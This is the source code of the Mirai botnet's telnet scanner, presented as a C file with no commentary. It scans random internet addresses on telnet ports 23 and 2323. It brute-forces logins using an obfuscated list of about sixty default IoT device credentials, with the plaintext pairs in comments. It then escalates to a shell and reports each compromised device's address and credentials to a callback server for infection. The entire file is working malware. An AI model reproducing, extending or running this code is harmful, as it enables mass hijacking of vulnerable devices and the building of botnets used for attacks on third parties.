#define _GNU_SOURCE #ifdef MIRAI_TELNET #ifdef DEBUG #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include "includes.h" #include "scanner.h" #include "table.h" #include "rand.h" #include "util.h" #include "checksum.h" #include "resolv.h" int scanner_pid, rsck, rsck_out, auth_table_len = 0; char scanner_rawpkt[sizeof (struct iphdr) + sizeof (struct tcphdr)] = {0}; struct scanner_auth *auth_table = NULL; struct scanner_connection *conn_table; uint16_t auth_table_max_weight = 0; uint32_t fake_time = 0; int recv_strip_null(int sock, void *buf, int len, int flags) { int ret = recv(sock, buf, len, flags); if (ret > 0) { int i = 0; for(i = 0; i < ret; i++) { if (((char *)buf)[i] == 0x00) { ((char *)buf)[i] = 'A'; } } } return ret; } void scanner_init(void) { int i; uint16_t source_port; struct iphdr *iph; struct tcphdr *tcph; // Let parent continue on main thread scanner_pid = fork(); if (scanner_pid > 0 || scanner_pid == -1) return; LOCAL_ADDR = util_local_addr(); rand_init(); fake_time = time(NULL); conn_table = calloc(SCANNER_MAX_CONNS, sizeof (struct scanner_connection)); for (i = 0; i < SCANNER_MAX_CONNS; i++) { conn_table[i].state = SC_CLOSED; conn_table[i].fd = -1; } // Set up raw socket scanning and payload if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) { #ifdef DEBUG printf("[scanner] Failed to initialize raw socket, cannot scan\n"); #endif exit(0); } fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0)); i = 1; if (setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)) != 0) { #ifdef DEBUG printf("[scanner] Failed to set IP_HDRINCL, cannot scan\n"); #endif close(rsck); exit(0); } do { source_port = rand_next() & 0xffff; } while (ntohs(source_port) < 1024); iph = (struct iphdr *)scanner_rawpkt; tcph = (struct tcphdr *)(iph + 1); // Set up IPv4 header iph->ihl = 5; iph->version = 4; iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr)); iph->id = rand_next(); iph->ttl = 64; iph->protocol = IPPROTO_TCP; // Set up TCP header tcph->dest = htons(23); tcph->source = source_port; tcph->doff = 5; tcph->window = rand_next() & 0xffff; tcph->syn = TRUE; // Set up passwords add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511 add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888 add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456 add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321 add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none) add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345 add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none) add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234 add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111 add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666 add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234 add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123 add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345 add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345 add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1); // admin1 password add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234 add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1); // 666666 666666 add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1); // 888888 888888 add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1); // ubnt ubnt add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1); // root klv1234 add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1); // root Zte521 add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1); // root hi3518 add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1); // root jvbzd add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4); // root anko add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1); // root zlxx. add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root 7ujMko0vizxv add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root 7ujMko0admin add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1); // root system add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1); // root ikwb add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1); // root dreambox add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1); // root user add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1); // root realtek add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1); // root 00000000 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1); // admin 1111111 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1); // admin 1234 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1); // admin 12345 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1); // admin 54321 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1); // admin 123456 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin 7ujMko0admin add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1); // admin 1234 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1); // admin pass add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1); // admin meinsm add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother fucker #ifdef DEBUG printf("[scanner] Scanner process initialized. Scanning started.\n"); #endif // Main logic loop while (TRUE) { fd_set fdset_rd, fdset_wr; struct scanner_connection *conn; struct timeval tim; int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds; // Spew out SYN to try and get a response if (fake_time != last_spew) { last_spew = fake_time; for (i = 0; i < SCANNER_RAW_PPS; i++) { struct sockaddr_in paddr = {0}; struct iphdr *iph = (struct iphdr *)scanner_rawpkt; struct tcphdr *tcph = (struct tcphdr *)(iph + 1); iph->id = rand_next(); iph->saddr = LOCAL_ADDR; iph->daddr = get_random_ip(); iph->check = 0; iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); if (i % 10 == 0) { tcph->dest = htons(2323); } else { tcph->dest = htons(23); } tcph->seq = iph->daddr; tcph->check = 0; tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr)); paddr.sin_family = AF_INET; paddr.sin_addr.s_addr = iph->daddr; paddr.sin_port = tcph->dest; sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr)); } } // Read packets from raw socket to get SYN+ACKs last_avail_conn = 0; while (TRUE) { int n; char dgram[1514]; struct iphdr *iph = (struct iphdr *)dgram; struct tcphdr *tcph = (struct tcphdr *)(iph + 1); struct scanner_connection *conn; errno = 0; n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL); if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK) break; if (n < sizeof(struct iphdr) + sizeof(struct tcphdr)) continue; if (iph->daddr != LOCAL_ADDR) continue; if (iph->protocol != IPPROTO_TCP) continue; if (tcph->source != htons(23) && tcph->source != htons(2323)) continue; if (tcph->dest != source_port) continue; if (!tcph->syn) continue; if (!tcph->ack) continue; if (tcph->rst) continue; if (tcph->fin) continue; if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr) continue; conn = NULL; for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++) { if (conn_table[n].state == SC_CLOSED) { conn = &conn_table[n]; last_avail_conn = n; break; } } // If there were no slots, then no point reading any more if (conn == NULL) break; conn->dst_addr = iph->saddr; conn->dst_port = tcph->source; setup_connection(conn); #ifdef DEBUG printf("[scanner] FD%d Attempting to brute found IP %d.%d.%d.%d\n", conn->fd, iph->saddr & 0xff, (iph->saddr >> 8) & 0xff, (iph->saddr >> 16) & 0xff, (iph->saddr >> 24) & 0xff); #endif } // Load file descriptors into fdsets FD_ZERO(&fdset_rd); FD_ZERO(&fdset_wr); for (i = 0; i < SCANNER_MAX_CONNS; i++) { int timeout; conn = &conn_table[i]; timeout = (conn->state > SC_CONNECTING ? 30 : 5); if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout) { #ifdef DEBUG printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state); #endif close(conn->fd); conn->fd = -1; // Retry if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again { if (++(conn->tries) == 10) { conn->tries = 0; conn->state = SC_CLOSED; } else { setup_connection(conn); #ifdef DEBUG printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd); #endif } } else { conn->tries = 0; conn->state = SC_CLOSED; } continue; } if (conn->state == SC_CONNECTING) { FD_SET(conn->fd, &fdset_wr); if (conn->fd > mfd_wr) mfd_wr = conn->fd; } else if (conn->state != SC_CLOSED) { FD_SET(conn->fd, &fdset_rd); if (conn->fd > mfd_rd) mfd_rd = conn->fd; } } tim.tv_usec = 0; tim.tv_sec = 1; nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim); fake_time = time(NULL); for (i = 0; i < SCANNER_MAX_CONNS; i++) { conn = &conn_table[i]; if (conn->fd == -1) continue; if (FD_ISSET(conn->fd, &fdset_wr)) { int err = 0, ret = 0; socklen_t err_len = sizeof (err); ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len); if (err == 0 && ret == 0) { conn->state = SC_HANDLE_IACS; conn->auth = random_auth_entry(); conn->rdbuf_pos = 0; #ifdef DEBUG printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password); #endif } else { #ifdef DEBUG printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err); #endif close(conn->fd); conn->fd = -1; conn->tries = 0; conn->state = SC_CLOSED; continue; } } if (FD_ISSET(conn->fd, &fdset_rd)) { while (TRUE) { int ret; if (conn->state == SC_CLOSED) break; if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE) { memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN); conn->rdbuf_pos -= SCANNER_HACK_DRAIN; } errno = 0; ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL); if (ret == 0) { #ifdef DEBUG printf("[scanner] FD%d connection gracefully closed\n", conn->fd); #endif errno = ECONNRESET; ret = -1; // Fall through to closing connection below } if (ret == -1) { if (errno != EAGAIN && errno != EWOULDBLOCK) { #ifdef DEBUG printf("[scanner] FD%d lost connection\n", conn->fd); #endif close(conn->fd); conn->fd = -1; // Retry if (++(conn->tries) >= 10) { conn->tries = 0; conn->state = SC_CLOSED; } else { setup_connection(conn); #ifdef DEBUG printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd); #endif } } break; } conn->rdbuf_pos += ret; conn->last_recv = fake_time; while (TRUE) { int consumed = 0; switch (conn->state) { case SC_HANDLE_IACS: if ((consumed = consume_iacs(conn)) > 0) { conn->state = SC_WAITING_USERNAME; #ifdef DEBUG printf("[scanner] FD%d finished telnet negotiation\n", conn->fd); #endif } break; case SC_WAITING_USERNAME: if ((consumed = consume_user_prompt(conn)) > 0) { send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL); send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); conn->state = SC_WAITING_PASSWORD; #ifdef DEBUG printf("[scanner] FD%d received username prompt\n", conn->fd); #endif } break; case SC_WAITING_PASSWORD: if ((consumed = consume_pass_prompt(conn)) > 0) { #ifdef DEBUG printf("[scanner] FD%d received password prompt\n", conn->fd); #endif // Send password send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL); send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); conn->state = SC_WAITING_PASSWD_RESP; } break; case SC_WAITING_PASSWD_RESP: if ((consumed = consume_any_prompt(conn)) > 0) { char *tmp_str; int tmp_len; #ifdef DEBUG printf("[scanner] FD%d received shell prompt\n", conn->fd); #endif // Send enable / system / shell / sh to session to drop into shell if needed table_unlock_val(TABLE_SCAN_ENABLE); tmp_str = table_retrieve_val(TABLE_SCAN_ENABLE, &tmp_len); send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); table_lock_val(TABLE_SCAN_ENABLE); conn->state = SC_WAITING_ENABLE_RESP; } break; case SC_WAITING_ENABLE_RESP: if ((consumed = consume_any_prompt(conn)) > 0) { char *tmp_str; int tmp_len; #ifdef DEBUG printf("[scanner] FD%d received sh prompt\n", conn->fd); #endif table_unlock_val(TABLE_SCAN_SYSTEM); tmp_str = table_retrieve_val(TABLE_SCAN_SYSTEM, &tmp_len); send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); table_lock_val(TABLE_SCAN_SYSTEM); conn->state = SC_WAITING_SYSTEM_RESP; } break; case SC_WAITING_SYSTEM_RESP: if ((consumed = consume_any_prompt(conn)) > 0) { char *tmp_str; int tmp_len; #ifdef DEBUG printf("[scanner] FD%d received sh prompt\n", conn->fd); #endif table_unlock_val(TABLE_SCAN_SHELL); tmp_str = table_retrieve_val(TABLE_SCAN_SHELL, &tmp_len); send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); table_lock_val(TABLE_SCAN_SHELL); conn->state = SC_WAITING_SHELL_RESP; } break; case SC_WAITING_SHELL_RESP: if ((consumed = consume_any_prompt(conn)) > 0) { char *tmp_str; int tmp_len; #ifdef DEBUG printf("[scanner] FD%d received enable prompt\n", conn->fd); #endif table_unlock_val(TABLE_SCAN_SH); tmp_str = table_retrieve_val(TABLE_SCAN_SH, &tmp_len); send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); table_lock_val(TABLE_SCAN_SH); conn->state = SC_WAITING_SH_RESP; } break; case SC_WAITING_SH_RESP: if ((consumed = consume_any_prompt(conn)) > 0) { char *tmp_str; int tmp_len; #ifdef DEBUG printf("[scanner] FD%d received sh prompt\n", conn->fd); #endif // Send query string table_unlock_val(TABLE_SCAN_QUERY); tmp_str = table_retrieve_val(TABLE_SCAN_QUERY, &tmp_len); send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL); send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); table_lock_val(TABLE_SCAN_QUERY); conn->state = SC_WAITING_TOKEN_RESP; } break; case SC_WAITING_TOKEN_RESP: consumed = consume_resp_prompt(conn); if (consumed == -1) { #ifdef DEBUG printf("[scanner] FD%d invalid username/password combo\n", conn->fd); #endif close(conn->fd); conn->fd = -1; // Retry if (++(conn->tries) == 10) { conn->tries = 0; conn->state = SC_CLOSED; } else { setup_connection(conn); #ifdef DEBUG printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd); #endif } } else if (consumed > 0) { char *tmp_str; int tmp_len; #ifdef DEBUG printf("[scanner] FD%d Found verified working telnet\n", conn->fd); #endif report_working(conn->dst_addr, conn->dst_port, conn->auth); close(conn->fd); conn->fd = -1; conn->state = SC_CLOSED; } break; default: consumed = 0; break; } // If no data was consumed, move on if (consumed == 0) break; else { if (consumed > conn->rdbuf_pos) consumed = conn->rdbuf_pos; conn->rdbuf_pos -= consumed; memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos); } } } } } } } void scanner_kill(void) { kill(scanner_pid, 9); } static void setup_connection(struct scanner_connection *conn) { struct sockaddr_in addr = {0}; if (conn->fd != -1) close(conn->fd); if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { #ifdef DEBUG printf("[scanner] Failed to call socket()\n"); #endif return; } conn->rdbuf_pos = 0; util_zero(conn->rdbuf, sizeof(conn->rdbuf)); fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = conn->dst_addr; addr.sin_port = conn->dst_port; conn->last_recv = fake_time; conn->state = SC_CONNECTING; connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); } static ipv4_t get_random_ip(void) { uint32_t tmp; uint8_t o1, o2, o3, o4; do { tmp = rand_next(); o1 = tmp & 0xff; o2 = (tmp >> 8) & 0xff; o3 = (tmp >> 16) & 0xff; o4 = (tmp >> 24) & 0xff; } while (o1 == 127 || // 127.0.0.0/8 - Loopback (o1 == 0) || // 0.0.0.0/8 - Invalid address space (o1 == 3) || // 3.0.0.0/8 - General Electric Company (o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company (o1 == 56) || // 56.0.0.0/8 - US Postal Service (o1 == 10) || // 10.0.0.0/8 - Internal network (o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network (o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network (o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved (o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved (o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use (o1 >= 224) || // 224.*.*.*+ - Multicast (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense ); return INET_ADDR(o1,o2,o3,o4); } static int consume_iacs(struct scanner_connection *conn) { int consumed = 0; uint8_t *ptr = conn->rdbuf; while (consumed < conn->rdbuf_pos) { int i; if (*ptr != 0xff) break; else if (*ptr == 0xff) { if (!can_consume(conn, ptr, 1)) break; if (ptr[1] == 0xff) { ptr += 2; consumed += 2; continue; } else if (ptr[1] == 0xfd) { uint8_t tmp1[3] = {255, 251, 31}; uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240}; if (!can_consume(conn, ptr, 2)) break; if (ptr[2] != 31) goto iac_wont; ptr += 3; consumed += 3; send(conn->fd, tmp1, 3, MSG_NOSIGNAL); send(conn->fd, tmp2, 9, MSG_NOSIGNAL); } else { iac_wont: if (!can_consume(conn, ptr, 2)) break; for (i = 0; i < 3; i++) { if (ptr[i] == 0xfd) ptr[i] = 0xfc; else if (ptr[i] == 0xfb) ptr[i] = 0xfd; } send(conn->fd, ptr, 3, MSG_NOSIGNAL); ptr += 3; consumed += 3; } } } return consumed; } static int consume_any_prompt(struct scanner_connection *conn) { char *pch; int i, prompt_ending = -1; for (i = conn->rdbuf_pos - 1; i > 0; i--) { if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%') { prompt_ending = i + 1; break; } } if (prompt_ending == -1) return 0; else return prompt_ending; } static int consume_user_prompt(struct scanner_connection *conn) { char *pch; int i, prompt_ending = -1; for (i = conn->rdbuf_pos - 1; i > 0; i--) { if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%') { prompt_ending = i + 1; break; } } if (prompt_ending == -1) { int tmp; if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1) prompt_ending = tmp; else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1) prompt_ending = tmp; } if (prompt_ending == -1) return 0; else return prompt_ending; } static int consume_pass_prompt(struct scanner_connection *conn) { char *pch; int i, prompt_ending = -1; for (i = conn->rdbuf_pos - 1; i > 0; i--) { if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#') { prompt_ending = i + 1; break; } } if (prompt_ending == -1) { int tmp; if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1) prompt_ending = tmp; } if (prompt_ending == -1) return 0; else return prompt_ending; } static int consume_resp_prompt(struct scanner_connection *conn) { char *tkn_resp; int prompt_ending, len; table_unlock_val(TABLE_SCAN_NCORRECT); tkn_resp = table_retrieve_val(TABLE_SCAN_NCORRECT, &len); if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1) != -1) { table_lock_val(TABLE_SCAN_NCORRECT); return -1; } table_lock_val(TABLE_SCAN_NCORRECT); table_unlock_val(TABLE_SCAN_RESP); tkn_resp = table_retrieve_val(TABLE_SCAN_RESP, &len); prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1); table_lock_val(TABLE_SCAN_RESP); if (prompt_ending == -1) return 0; else return prompt_ending; } static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight) { int tmp; auth_table = realloc(auth_table, (auth_table_len + 1) * sizeof (struct scanner_auth)); auth_table[auth_table_len].username = deobf(enc_user, &tmp); auth_table[auth_table_len].username_len = (uint8_t)tmp; auth_table[auth_table_len].password = deobf(enc_pass, &tmp); auth_table[auth_table_len].password_len = (uint8_t)tmp; auth_table[auth_table_len].weight_min = auth_table_max_weight; auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight; auth_table_max_weight += weight; } static struct scanner_auth *random_auth_entry(void) { int i; uint16_t r = (uint16_t)(rand_next() % auth_table_max_weight); for (i = 0; i < auth_table_len; i++) { if (r < auth_table[i].weight_min) continue; else if (r < auth_table[i].weight_max) return &auth_table[i]; } return NULL; } static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth) { struct sockaddr_in addr; int pid = fork(), fd; struct resolv_entries *entries = NULL; if (pid > 0 || pid == -1) return; if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { #ifdef DEBUG printf("[report] Failed to call socket()\n"); #endif exit(0); } table_unlock_val(TABLE_SCAN_CB_DOMAIN); table_unlock_val(TABLE_SCAN_CB_PORT); entries = resolv_lookup(table_retrieve_val(TABLE_SCAN_CB_DOMAIN, NULL)); if (entries == NULL) { #ifdef DEBUG printf("[report] Failed to resolve report address\n"); #endif return; } addr.sin_family = AF_INET; addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len]; addr.sin_port = *((port_t *)table_retrieve_val(TABLE_SCAN_CB_PORT, NULL)); resolv_entries_free(entries); table_lock_val(TABLE_SCAN_CB_DOMAIN); table_lock_val(TABLE_SCAN_CB_PORT); if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) { #ifdef DEBUG printf("[report] Failed to connect to scanner callback!\n"); #endif close(fd); exit(0); } uint8_t zero = 0; send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL); send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL); send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL); send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL); send(fd, auth->username, auth->username_len, MSG_NOSIGNAL); send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL); send(fd, auth->password, auth->password_len, MSG_NOSIGNAL); #ifdef DEBUG printf("[report] Send scan result to loader\n"); #endif close(fd); exit(0); } static char *deobf(char *str, int *len) { int i; char *cpy; *len = util_strlen(str); cpy = malloc(*len + 1); util_memcpy(cpy, str, *len + 1); for (i = 0; i < *len; i++) { cpy[i] ^= 0xDE; cpy[i] ^= 0xAD; cpy[i] ^= 0xBE; cpy[i] ^= 0xEF; } return cpy; } static BOOL can_consume(struct scanner_connection *conn, uint8_t *ptr, int amount) { uint8_t *end = conn->rdbuf + conn->rdbuf_pos; return ptr + amount < end; } #endif